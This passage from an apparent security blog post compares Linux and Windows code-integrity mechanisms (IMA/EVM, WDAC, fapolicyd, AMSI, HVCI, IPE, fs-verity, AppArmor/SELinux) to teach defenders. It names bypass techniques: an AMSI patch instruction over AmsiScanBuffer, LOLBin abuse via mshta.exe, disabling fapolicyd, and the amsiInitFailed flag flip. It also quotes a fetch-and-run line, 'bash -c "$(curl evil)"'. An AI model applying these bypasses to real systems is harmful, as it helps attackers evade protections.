// must move out of the script host&apos;s address space.
`}&lt;/p&gt;
&lt;h3&gt;Story C: WDAC&apos;s &quot;trust all Microsoft-signed code&quot; anti-pattern&lt;/h3&gt;
&lt;p&gt;A &lt;a href=&quot;https://paragmali.com/blog/wdac--hvci-code-integrity-at-every-layer-in-windows/&quot; rel=&quot;noopener&quot;&gt;WDAC policy&lt;/a&gt; that trusts code signed by Microsoft also trusts every binary Microsoft has ever signed. That set includes &lt;code&gt;mshta.exe&lt;/code&gt;, &lt;code&gt;wscript.exe&lt;/code&gt;, &lt;code&gt;cscript.exe&lt;/code&gt;, &lt;code&gt;msbuild.exe&lt;/code&gt;, &lt;code&gt;wmic.exe&lt;/code&gt;, &lt;code&gt;system.management.automation.dll&lt;/code&gt;, and the 40-plus other binaries enumerated on Microsoft&apos;s own App Control bypass list [@learn-microsoft-com-bypass-appcontrol]. The LOLBAS community catalogue [@lolbas-project-github-io] widens the field to roughly 200 living-off-the-land binaries with explicit MITRE ATT&amp;amp;CK technique mappings.&lt;/p&gt;
&lt;p&gt;The pattern is structural: WDAC grants trust at &lt;em&gt;signer&lt;/em&gt; granularity (a chain rooted at &quot;Microsoft Corporation&quot;); attackers exploit at &lt;em&gt;binary&lt;/em&gt; granularity (the specific &lt;code&gt;mshta.exe&lt;/code&gt; that will happily evaluate an HTA blob containing a PowerShell stager). Any non-trivial WDAC policy must therefore contain explicit hash-level denies for the known-bad versions, and must keep growing those denies as Microsoft ships new signed binaries.&lt;/p&gt;
&lt;h3&gt;Story D: fapolicyd&apos;s permissive-window failure&lt;/h3&gt;
&lt;p&gt;fapolicyd [@access-redhat-com-fapolicydsecurity-hardening] is the Red Hat userspace allowlister. It sits on the &lt;code&gt;fanotify&lt;/code&gt; permission channel and answers &quot;may this open or exec proceed?&quot; against a compiled rule database. It does not have IMA&apos;s offline-tampering problem because trust is inherited from the RPM database: &quot;An application is trusted when the system package manager correctly installs it and therefore registered in the system RPM database. The fapolicyd daemon uses the RPM database as a list of trusted binaries and scripts.&quot;&lt;/p&gt;
&lt;p&gt;What it does have is an operational footgun. Setting &lt;code&gt;permissive=1&lt;/code&gt; &quot;just for troubleshooting&quot; silently disables enforcement. Terminating the daemon causes the kernel to fail open after the fanotify response timeout. The architectural choice -- userspace daemon over kernel-mode hook -- is what makes both failure modes possible.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key idea:&lt;/strong&gt; The check was strong. The boundary protecting the check was weak. On IMA-as-shipped the reference hash sat next to the file the attacker rewrote. On AMSI the scanner sat inside the process the attacker controlled. On WDAC the trust grant was wider than the exploitation unit. On fapolicyd the verifier was a userspace process that could be terminated. Four different stacks, four different boundary failures, one identical lesson.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Bypass class&lt;/th&gt;
&lt;th&gt;Stack&lt;/th&gt;
&lt;th&gt;Concrete example&lt;/th&gt;
&lt;th&gt;Root cause&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;Offline metadata swap&lt;/td&gt;
&lt;td&gt;IMA without EVM&lt;/td&gt;
&lt;td&gt;Rewrite binary and matching &lt;code&gt;security.ima&lt;/code&gt; xattr from rescue media&lt;/td&gt;
&lt;td&gt;Reference value stored next to the file under attacker control&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;In-process scanner patch&lt;/td&gt;
&lt;td&gt;AMSI in PowerShell&lt;/td&gt;
&lt;td&gt;&lt;code&gt;mov eax, AMSI_RESULT_CLEAN; ret&lt;/code&gt; over &lt;code&gt;AmsiScanBuffer&lt;/code&gt; prologue&lt;/td&gt;
&lt;td&gt;Scanner shares address space with the script host the attacker runs in&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Signer-vs-binary mismatch&lt;/td&gt;
&lt;td&gt;WDAC Publisher rules&lt;/td&gt;
&lt;td&gt;Allow Microsoft-signed code, attacker runs &lt;code&gt;mshta.exe&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Trust grant is coarser than the exploitable unit&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Daemon liveness&lt;/td&gt;
&lt;td&gt;fapolicyd&lt;/td&gt;
&lt;td&gt;Terminate &lt;code&gt;fapolicyd&lt;/code&gt; or set &lt;code&gt;permissive=1&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Verifier is a userspace process with no kernel-rooted backstop&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;Each of these failures has the same shape: the check was strong, the boundary protecting the check was weak. Both operating systems noticed, and fixed it in 2012 and 2016 in very different ways. Both fixes followed the same principle.&lt;/p&gt;
&lt;h2&gt;5. The architectural pivots&lt;/h2&gt;
&lt;p&gt;Both lineages reached the same conclusion at the same time: strengthen the boundary, not the check. Each pivot moved the trust boundary outward, beyond the place the attacker could reach.&lt;/p&gt;
&lt;h3&gt;EVM (Linux 3.2, January 2012): the xattrs become non-forgeable&lt;/h3&gt;
&lt;p&gt;The Extended Verification Module computes an HMAC over the security-relevant extended attributes -- &lt;code&gt;security.ima&lt;/code&gt;, &lt;code&gt;security.selinux&lt;/code&gt;, &lt;code&gt;security.SMACK64&lt;/code&gt;, &lt;code&gt;security.apparmor&lt;/code&gt;, &lt;code&gt;security.capability&lt;/code&gt; -- plus inode metadata (UID, GID, mode, generation), and stores the result in &lt;code&gt;security.evm&lt;/code&gt;. The HMAC key is loaded into the kernel keyring at boot, ideally sealed to a TPM 2.0 PCR set so the key is not retrievable except on a machine whose boot state matches the sealing measurement. The kernel keyring documentation for trusted and encrypted keys [@kernel-org-trusted-encryptedhtml] describes the substrate.&lt;/p&gt;
&lt;p&gt;An offline attacker with disk access still cannot forge &lt;code&gt;security.evm&lt;/code&gt; without the HMAC key. Digital-signature mode (EVM portable signatures, Linux 3.3) gives the same guarantee without any on-box key material. The check did not get cryptographically stronger: HMAC-SHA256 was not new in 2012. What changed was that the &lt;em&gt;reference value&lt;/em&gt; the check consults moved from &quot;an xattr next to the file&quot; to &quot;an xattr whose integrity is bound to a key the attacker does not have&quot;. Red Hat documents the modern setup in &lt;em&gt;Enhancing security with the kernel integrity subsystem&lt;/em&gt; [@access-redhat-com-subsystemsecurity-hardening].&lt;/p&gt;

The Linux integrity module that protects the security-relevant extended attributes IMA depends on. EVM computes an HMAC (or digital signature) over the xattr set plus inode metadata and stores it in `security.evm`. Without the EVM key, an offline attacker cannot rewrite a binary and its matching `security.ima` to produce a valid pair.

sequenceDiagram
  participant App as User app
  participant K as Kernel
  participant FS as Filesystem
  participant IMA as IMA
  participant EVM as EVM
  participant TPM as TPM keyring
  App-&amp;gt;&amp;gt;K: execve(&quot;/usr/bin/foo&quot;)
  K-&amp;gt;&amp;gt;IMA: bprm_check hook
  IMA-&amp;gt;&amp;gt;FS: read file bytes
  IMA-&amp;gt;&amp;gt;IMA: compute SHA-256
  IMA-&amp;gt;&amp;gt;FS: read security.ima xattr
  IMA-&amp;gt;&amp;gt;EVM: verify xattr integrity
  EVM-&amp;gt;&amp;gt;FS: read security.evm and full xattr set
  EVM-&amp;gt;&amp;gt;TPM: HMAC key from keyring (sealed to PCRs)
  EVM-&amp;gt;&amp;gt;EVM: recompute HMAC over xattr set + inode meta
  alt HMAC matches and IMA hash matches
    EVM--&amp;gt;&amp;gt;IMA: ok
    IMA--&amp;gt;&amp;gt;K: allow
    K--&amp;gt;&amp;gt;App: exec proceeds
  else mismatch
    EVM--&amp;gt;&amp;gt;IMA: -EPERM
    IMA--&amp;gt;&amp;gt;K: deny
    K--&amp;gt;&amp;gt;App: -EPERM
  end
&lt;h3&gt;IMA-appraise (Linux 3.7, December 2012): from observation to enforcement&lt;/h3&gt;
&lt;p&gt;The merge cadence on the kernel side is itself part of the story. Measurement-only IMA shipped in 2.6.30 in 2009. EVM merged in 3.2 in January 2012. EVM digital signatures merged in 3.3 in March 2012. IMA-appraise, which finally lets the kernel return &lt;code&gt;-EPERM&lt;/code&gt; on a hash mismatch, merged in Linux 3.7 in December 2012 [@lwn-net-articles-488906]. Three and a half years from &quot;we hash files&quot; to &quot;we refuse to run files that fail the hash&quot;. The gap was not engineering laziness; it was the time it took to design and merge the boundary-strengthening pieces that made enforcement safe to enable.&lt;/p&gt;
&lt;h3&gt;HVCI / Memory Integrity (Windows 10 1607, August 2016): the secure kernel&lt;/h3&gt;
&lt;p&gt;Windows took the equivalent step four years later, but at a different layer. Virtualization-Based Security (VBS) [@learn-microsoft-com-oem-vbs] splits Windows into Virtual Trust Level 0 -- the normal kernel everyone has been writing rootkits for since 1993 -- and Virtual Trust Level 1, a small &lt;a href=&quot;https://paragmali.com/blog/the-windows-secure-kernel/&quot; rel=&quot;noopener&quot;&gt;secure kernel&lt;/a&gt; hosted by Hyper-V. The kernel-mode Code Integrity check that gates loading of every driver is moved into VTL1. A VTL0 attacker with full SYSTEM, even one who has loaded a malicious driver, cannot patch the VTL1 verifier; they cannot even read its memory.&lt;/p&gt;

Windows&apos; Hyper-V-rooted split that puts a small secure kernel in VTL1, isolated from the normal Windows kernel (VTL0) by the hypervisor. Hypervisor-protected Code Integrity (HVCI), exposed in Windows Settings as &quot;Memory integrity&quot;, uses VTL1 to host the kernel-mode code-integrity check, so a VTL0 attacker with SYSTEM cannot patch the verifier or downgrade its policy.
&lt;p&gt;Microsoft&apos;s HVCI documentation [@learn-microsoft-com-oem-vbs] frames the W^X invariant HVCI enforces on kernel pages: &quot;memory integrity ... protects and hardens Windows by running kernel mode code integrity within the isolated virtual environment of VBS ... ensuring that kernel memory pages are only made executable after passing code integrity checks inside the secure runtime environment, and executable pages themselves are never writable.&quot; A kernel page can be writable or executable; never both at the same time. The split is enforced by the hypervisor.&quot;HVCI&quot;, &quot;Memory Integrity&quot;, and &quot;kernel-mode code integrity running in VBS&quot; are the same mechanism. Microsoft&apos;s product-name churn here is unusually thick: the Windows Settings UI calls it Memory Integrity, the documentation page is titled &quot;Enable virtualization-based protection of code integrity&quot;, the underlying capability is HVCI, and Microsoft also markets the same hardware-and-software bundle as &quot;Secured-Core PC&quot;.&lt;/p&gt;

flowchart TD
  subgraph VTL0[VTL0: normal Windows kernel]
    P[User process]
    DRV[Driver load request]
    RK[Hypothetical rootkit with SYSTEM]
    K0[NT kernel]
    P --&amp;gt; K0
    DRV --&amp;gt; K0
    RK --&amp;gt; K0
  end
  K0 --&amp;gt;|hypercall: verify driver| HV[Hypervisor]
  RK -.X.-&amp;gt; SK
  HV --&amp;gt; SK
  subgraph VTL1[VTL1: secure kernel]
    SK[Secure kernel]
    CI[Kernel-mode CI verifier]
    SK --&amp;gt; CI
  end
  CI --&amp;gt;|allow / deny| HV
  HV --&amp;gt;|result| K0
&lt;h3&gt;IPE (Linux 6.12, November 2024): property-based decisions&lt;/h3&gt;
&lt;p&gt;The most recent Linux pivot moves further still. Integrity Policy Enforcement [@docs-kernel-org-lsm-ipehtml], upstreamed in Linux 6.12 in November 2024 from a Microsoft-contributed patch series (source on GitHub [@github-com-microsoft-ipe]), does not hash files at all. Its kernel documentation is explicit: &quot;Integrity Policy Enforcement (IPE) is a Linux Security Module that takes a complementary approach to access control. Unlike traditional access control mechanisms that rely on labels and paths for decision-making, IPE focuses on the immutable security properties inherent to system components.&quot; A policy rule looks like:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;op=EXECUTE dmverity_signature=TRUE dmverity_roothash=sha256:&amp;lt;hex&amp;gt; action=ALLOW
op=EXECUTE fsverity_signature=TRUE action=ALLOW
op=EXECUTE action=DENY
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The kernel is not asked &quot;what is the SHA-256 of this file?&quot; at &lt;code&gt;op=EXECUTE&lt;/code&gt; time. It is asked &quot;did this file come from a dm-verity device whose root hash matches one of our trusted signatures?&quot; The verifier has nothing to compute per access; it has only to read a pre-computed property. The trust boundary has moved out to whoever signed the dm-verity image at build time.&lt;/p&gt;
&lt;h3&gt;fs-verity (Linux 5.4, November 2019): O(log n) per page&lt;/h3&gt;
&lt;p&gt;The cryptographic complement is fs-verity [@kernel-org-filesystems-fsverityhtml], upstreamed in Linux 5.4 in November 2019 by Eric Biggers and Theodore Ts&apos;o at Google. The kernel docs describe the trick: &quot;fs-verity is similar to dm-verity but works on files rather than block devices ... userspace can execute an ioctl that causes the filesystem to build a Merkle tree for the file and persist it to a filesystem-specific location ... Userspace can use another ioctl to retrieve the root hash ... in constant time, regardless of the file size.&quot;&lt;/p&gt;
&lt;p&gt;The Merkle tree turns whole-file hashing into O(log n) verification per page read, with constant-time digest retrieval. Concretely, an APK or container layer with thousands of pages does not need a full hash on first open; the page cache verifies the leaves and intermediate Merkle nodes only for the pages actually touched. IMA can consume fs-verity&apos;s digest directly through the &lt;code&gt;digest_type=verity&lt;/code&gt; modifier in its policy language.&lt;/p&gt;

The breakthrough was not a stronger check. It was moving the check out of the attacker&apos;s address space.
&lt;p&gt;Each pivot moved the trust boundary outward in a different direction. EVM moved the integrity root from &quot;xattr next to the file&quot; to &quot;HMAC-keyed xattr, key sealed to TPM PCRs&quot;. HVCI moved the kernel-mode verifier from &quot;in the kernel the attacker can patch&quot; to &quot;in a secure kernel the attacker cannot reach without breaking the hypervisor&quot;. IPE moved the per-access decision from &quot;recompute a file&apos;s hash&quot; to &quot;look up a precomputed property&quot;. Fs-verity collapsed the per-access cost from O(n) on the file to O(log n) on a Merkle path.&lt;/p&gt;
&lt;p&gt;The crypto was already strong. The breakthrough was the geometry of where the verifier lived.&lt;/p&gt;
&lt;p&gt;By 2020 both stacks looked dramatically different from their 2009 and 2015 originals. Here is what each one looks like today, side by side.&lt;/p&gt;
&lt;h2&gt;6. The stack today, side by side&lt;/h2&gt;
&lt;p&gt;Eleven moving parts. Here is how they line up.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Linux&lt;/th&gt;
&lt;th&gt;Windows&lt;/th&gt;
&lt;th&gt;Layer&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;IMA appraise + EVM&lt;/td&gt;
&lt;td&gt;App Control (WDAC) UMCI&lt;/td&gt;
&lt;td&gt;User-mode code integrity&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Kernel module signing&lt;/td&gt;
&lt;td&gt;App Control + HVCI driver enforcement&lt;/td&gt;
&lt;td&gt;Kernel-mode code integrity&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;fs-verity + dm-verity&lt;/td&gt;
&lt;td&gt;HVCI page-level W^X + signed catalogues&lt;/td&gt;
&lt;td&gt;Page-level integrity&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;AppArmor / SELinux&lt;/td&gt;
&lt;td&gt;(no direct analogue; closest is AppContainer / ASR)&lt;/td&gt;
&lt;td&gt;Mandatory access control&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;fapolicyd&lt;/td&gt;
&lt;td&gt;App Control + AppLocker&lt;/td&gt;
&lt;td&gt;User-space allowlist&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;IPE&lt;/td&gt;
&lt;td&gt;App Control (FilePath / hash rules)&lt;/td&gt;
&lt;td&gt;Property-based code integrity&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;(no direct analogue)&lt;/td&gt;
&lt;td&gt;AMSI&lt;/td&gt;
&lt;td&gt;Script content scan&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;(no direct analogue)&lt;/td&gt;
&lt;td&gt;Smart App Control + ISG&lt;/td&gt;
&lt;td&gt;Cloud reputation&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;The mapping is not 1-to-1 in either direction. Linux composes; Windows consolidates. To compare meaningfully we have to look at each layer in turn.&lt;/p&gt;
&lt;h3&gt;6.1 Code-integrity enforcers: IMA + EVM vs WDAC vs IPE&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Dimension&lt;/th&gt;
&lt;th&gt;Linux IMA + EVM&lt;/th&gt;
&lt;th&gt;WDAC (App Control)&lt;/th&gt;
&lt;th&gt;IPE&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;Enforcement layer&lt;/td&gt;
&lt;td&gt;VFS / LSM hook (file open, mmap, exec)&lt;/td&gt;
&lt;td&gt;PE loader (kernel CI, user-mode CI)&lt;/td&gt;
&lt;td&gt;LSM hook on &lt;code&gt;op=EXECUTE&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Identity primitive&lt;/td&gt;
&lt;td&gt;File-content hash or &lt;code&gt;imasig&lt;/code&gt; / &lt;code&gt;modsig&lt;/code&gt; / &lt;code&gt;sigv3&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Authenticode chain, hash, FilePath, or ISG&lt;/td&gt;
&lt;td&gt;dm-verity root hash / fs-verity digest&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Policy expression&lt;/td&gt;
&lt;td&gt;Procedural rules (&lt;code&gt;func=&lt;/code&gt; / &lt;code&gt;mask=&lt;/code&gt; / &lt;code&gt;fsmagic=&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;Signed XML compiled to binary &lt;code&gt;.p7b&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Signed plain-text DFA&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Worst-case per-access&lt;/td&gt;
&lt;td&gt;O(n) hash on first access; O(1) cached&lt;/td&gt;
&lt;td&gt;O(1) cached; O(n) hash on cache miss&lt;/td&gt;
&lt;td&gt;O(1) (properties precomputed)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Fail-closed mode&lt;/td&gt;
&lt;td&gt;Yes (appraise)&lt;/td&gt;
&lt;td&gt;Yes (enforced)&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Remote-attestation friendly&lt;/td&gt;
&lt;td&gt;Yes (TPM PCR 10)&lt;/td&gt;
&lt;td&gt;Indirect (Measured Boot logs)&lt;/td&gt;
&lt;td&gt;Indirect&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Bypass arms race&lt;/td&gt;
&lt;td&gt;Whole-disk swap (countered by EVM key sealing)&lt;/td&gt;
&lt;td&gt;LOLBins (Microsoft block list + community LOLBAS)&lt;/td&gt;
&lt;td&gt;Limited surface (DFA-only)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;The IMA policy ABI [@kernel-org-testing-imapolicy] documents the full rule grammar: &lt;code&gt;action [condition ...]&lt;/code&gt; where action is one of &lt;code&gt;measure | dont_measure | appraise | dont_appraise | audit | dont_audit | hash | dont_hash&lt;/code&gt;, and conditions select on &lt;code&gt;func=&lt;/code&gt;, &lt;code&gt;mask=&lt;/code&gt;, &lt;code&gt;fsmagic=&lt;/code&gt;, &lt;code&gt;fsuuid=&lt;/code&gt;, &lt;code&gt;uid=&lt;/code&gt;, &lt;code&gt;fowner=&lt;/code&gt;, LSM-label predicates, and the all-important &lt;code&gt;appraise_type=&lt;/code&gt; modifier that names the signature scheme. IMA template management [@docs-kernel-org-ima-templateshtml] controls &lt;em&gt;what&lt;/em&gt; gets recorded per measurement-list entry; the two templates used in practice today are &lt;code&gt;ima-ng&lt;/code&gt; (&lt;code&gt;d-ng|n-ng&lt;/code&gt;: hash-algo-prefixed digest plus name) and &lt;code&gt;ima-sigv2&lt;/code&gt; (&lt;code&gt;d-ngv2|n-ng|sig&lt;/code&gt;: versioned digest plus name plus signature).&lt;/p&gt;
&lt;p&gt;WDAC&apos;s policy rule reference [@learn-microsoft-com-to-create] defines the rule kinds operators actually write: Publisher, PcaCertificate, LeafCertificate, FileName, Version, Hash (SHA-1, SHA-256, or SHA-384), FilePath (added in 1903 and explicitly weaker because a user with write access can substitute the file), Managed Installer, and Intelligent Security Graph. The compiled output is a signed binary &lt;code&gt;.p7b&lt;/code&gt; CIPolicy.&lt;/p&gt;
&lt;p&gt;The same doc records the default-on audit-mode behaviour that has surprised many operators: &quot;We recommend that you use Enabled:Audit Mode initially because it allows you to test new App Control policies before you enforce them ... By default, only kernel-mode binaries are restricted. Enabling the following rule option validates user mode executables and scripts.&quot; The Enabled:UMCI flag is what flips a WDAC policy from kernel-only to full user-mode enforcement.&lt;/p&gt;

flowchart LR
  PE[PE load request] --&amp;gt; AC[Parse Authenticode signature]
  AC --&amp;gt; RM[Match rule set]
  RM --&amp;gt; P[Publisher / cert rule?]
  P --&amp;gt;|hit| AL[Allow]
  P --&amp;gt;|miss| H[Hash rule?]
  H --&amp;gt;|hit| AL
  H --&amp;gt;|miss| FP[FilePath rule?]
  FP --&amp;gt;|hit| AL
  FP --&amp;gt;|miss| MI[Managed Installer?]
  MI --&amp;gt;|hit| AL
  MI --&amp;gt;|miss| ISG[Intelligent Security Graph?]
  ISG --&amp;gt;|hit| AL
  ISG --&amp;gt;|miss| DEF[Default action]
  AL --&amp;gt; BL{&quot;In bypass-list deny?&quot;}
  BL --&amp;gt;|yes| BLK[Block]
  BL --&amp;gt;|no| LOAD[Loader continues]
  DEF --&amp;gt; BLK
&lt;h3&gt;6.2 Mandatory access control: AppArmor vs SELinux&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Dimension&lt;/th&gt;
&lt;th&gt;AppArmor&lt;/th&gt;
&lt;th&gt;SELinux&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;Model&lt;/td&gt;
&lt;td&gt;Path-based allowlist per binary&lt;/td&gt;
&lt;td&gt;Type-enforcement on subject x object x class&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Storage of policy state&lt;/td&gt;
&lt;td&gt;In-memory DFA loaded from user space&lt;/td&gt;
&lt;td&gt;&lt;code&gt;security.selinux&lt;/code&gt; xattr + compiled &lt;code&gt;policy.31&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Granularity&lt;/td&gt;
&lt;td&gt;Profile per executable&lt;/td&gt;
&lt;td&gt;Per-type, per-class, per-operation&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Survives file rename&lt;/td&gt;
&lt;td&gt;No (path is the identity)&lt;/td&gt;
&lt;td&gt;Yes (xattr travels with inode)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Default-on distros&lt;/td&gt;
&lt;td&gt;Ubuntu, openSUSE, SLES&lt;/td&gt;
&lt;td&gt;RHEL, Fedora, Oracle Linux, Android, ChromeOS&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Authoring tools&lt;/td&gt;
&lt;td&gt;&lt;code&gt;aa-genprof&lt;/code&gt;, &lt;code&gt;aa-logprof&lt;/code&gt;, &lt;code&gt;aa-enforce&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;audit2allow&lt;/code&gt;, &lt;code&gt;semodule&lt;/code&gt;, refpolicy, &lt;code&gt;udica&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;AppArmor&apos;s kernel documentation [@docs-kernel-org-lsm-apparmorhtml] describes the model directly: &quot;AppArmor is MAC style security extension for the Linux kernel. It implements a task centered policy, with task &apos;profiles&apos; being created and loaded from user space.&quot; A profile reads like a rule file rather than a label algebra:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/usr/sbin/nginx {
  capability net_bind_service,
  /etc/nginx/** r,
  /var/log/nginx/* w,
  /var/www/** r,
  network inet stream,
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The kernel compiles each profile to a DFA at load time, so policy lookup is O(L) in path length. SELinux&apos;s compiled policy uses a hash-table query against compiled type-enforcement rules with an in-memory access-vector cache for O(1) hot decisions. Both are practical; they differ on which model fits the way an administrator thinks. AppArmor wins on auditability and quick authoring; SELinux wins on expressiveness and on what the Wikipedia summary [@en-wikipedia-org-security-enhancedlinux] calls Mandatory Access Control for multi-level security. Smack [@schaufler-ca-com] is a third in-tree LSM, simpler than SELinux, used heavily by Tizen.&lt;/p&gt;

Red Hat&apos;s `fapolicyd` is the answer for operators who want App Control-style allowlisting without rebuilding the kernel. Trust is inherited from the RPM database; the daemon sits on the kernel&apos;s `fanotify` permission channel and answers ALLOW or DENY on every `open` and `exec`. Per the RHEL hardening guide [@access-redhat-com-fapolicydsecurity-hardening], rule files in `/etc/fapolicyd/rules.d/` are concatenated in lexicographic order into `compiled.rules`. The Red Hat-shipped numbered prefixes are 10 (language interpreters), 20 (dracut), 21 (updaters), 30 (patterns), 40/41/42 (ELF), 70 (trusted languages), 72 (shell), 90 (deny-execute), 95 (allow-open). First-match-wins evaluation means operators adding custom rules must give their file a number lower than 90 to ensure their `allow` is reached before the catch-all deny.
&lt;h3&gt;6.3 Hypervisor-anchored CI: HVCI&lt;/h3&gt;
&lt;p&gt;HVCI&apos;s runtime cost is dominated by the hypercall round-trip from VTL0 to VTL1 on driver load and on each executable-page allocation. Steady-state overhead is small on hardware with the right capabilities.&lt;/p&gt;
&lt;p&gt;Microsoft&apos;s HVCI documentation [@learn-microsoft-com-code-integrity] names the dependency: &quot;Memory integrity works better with Intel Kabylake and higher processors with Mode-Based Execution Control, and AMD Zen 2 and higher processors with Guest Mode Execute Trap capabilities. Older processors rely on an emulation of these features, called Restricted User Mode, and will have a bigger impact on performance.&quot; Practitioner-visible rule of thumb: less than 5 percent overhead on MBEC/GMET-capable silicon, 10 to 20 percent on kernel-bound workloads when the CPU has to emulate.&lt;/p&gt;
&lt;p&gt;HVCI hardware prerequisites per the OEM VBS guidance [@learn-microsoft-com-oem-vbs]: 64-bit CPU with virtualization extensions (VT-x or AMD-V), second-level address translation (EPT or RVI), an IOMMU (VT-d or AMD-Vi), TPM 2.0, UEFI MAT, Secure MOR v2, and ideally MBEC (Intel) or GMET (AMD).&lt;/p&gt;
&lt;h3&gt;6.4 Script-level inspection: AMSI vs Linux&apos;s gap&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Dimension&lt;/th&gt;
&lt;th&gt;AMSI&lt;/th&gt;
&lt;th&gt;Linux IMA on scripts&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;What it sees&lt;/td&gt;
&lt;td&gt;Deobfuscated script buffer at execution time&lt;/td&gt;
&lt;td&gt;Whole-file content at &lt;code&gt;open&lt;/code&gt; or &lt;code&gt;mmap&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Coverage&lt;/td&gt;
&lt;td&gt;PowerShell, WSH, VBA, JScript, MSHTA, UAC installers, .NET, Edge&lt;/td&gt;
&lt;td&gt;Any file whose &lt;code&gt;func=FILE_CHECK&lt;/code&gt; rule matches&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Provider model&lt;/td&gt;
&lt;td&gt;COM &lt;code&gt;IAntimalwareProvider&lt;/code&gt; per process&lt;/td&gt;
&lt;td&gt;None; kernel verifies signature directly&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Defends against runtime obfuscation&lt;/td&gt;
&lt;td&gt;Yes (sees final buffer)&lt;/td&gt;
&lt;td&gt;No (sees file as written)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Trust boundary&lt;/td&gt;
&lt;td&gt;Wrong (in-process; patchable by attacker)&lt;/td&gt;
&lt;td&gt;Right (kernel-side; attacker cannot patch)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;The asymmetry is the point. AMSI sees what the interpreter is about to evaluate; IMA sees only what is on disk. AMSI catches in-memory PowerShell payloads, Office macros that decode themselves at runtime, and &lt;code&gt;Invoke-Expression&lt;/code&gt; evaluations that never touched the filesystem. IMA&apos;s hash is final at file write time and tells you exactly nothing about what &lt;code&gt;bash -c &quot;$(curl evil)&quot;&lt;/code&gt; will execute.&lt;/p&gt;

The reduced PowerShell language mode App Control forces on systems with UMCI enabled. It blocks reflection (the `[System.Reflection]` namespace), dynamic-type creation, and arbitrary .NET API calls. It is the runtime-side complement to App Control: even if a script gets in, its evaluation surface is dramatically reduced. This is also what makes the `amsiInitFailed` flag-flip bypass non-trivial under modern App Control: the reflection needed to set the flag is blocked.
&lt;h3&gt;6.5 Cloud reputation: Smart App Control&lt;/h3&gt;
